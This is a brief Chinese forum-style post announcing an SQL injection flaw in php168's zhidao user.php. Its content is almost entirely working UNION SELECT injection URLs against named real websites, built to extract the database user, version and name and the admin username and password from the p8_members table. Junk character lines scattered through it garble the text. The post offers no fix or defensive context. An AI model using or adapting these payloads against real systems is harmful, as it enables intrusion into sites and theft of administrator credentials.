php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
7 o! \' B* L! F- w* {3 t) p9 a+ `                                                         
" ~' K4 ^+ Q" N1 C                                       

6 |, c2 I9 x+ h) z. L" q! qhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
& t1 `' q  i3 k, j: i% A                                                     
                                                                  
1 U( t" o! {- @4 F1 o! l/ ]4 h- R                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
% l3 Z  o; R0 L* L9 l/ ?


+ k3 C) X- p5 |0 _1 Z$ e                                                            
( f* i& m1 q3 d4 V
/ A1 ^- I: @& K. B2 _http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
- F/ Y/ L" u2 j

! @. m# L! V' [6 e
2 T0 _. ~5 M# t, v) _( X2 f9 k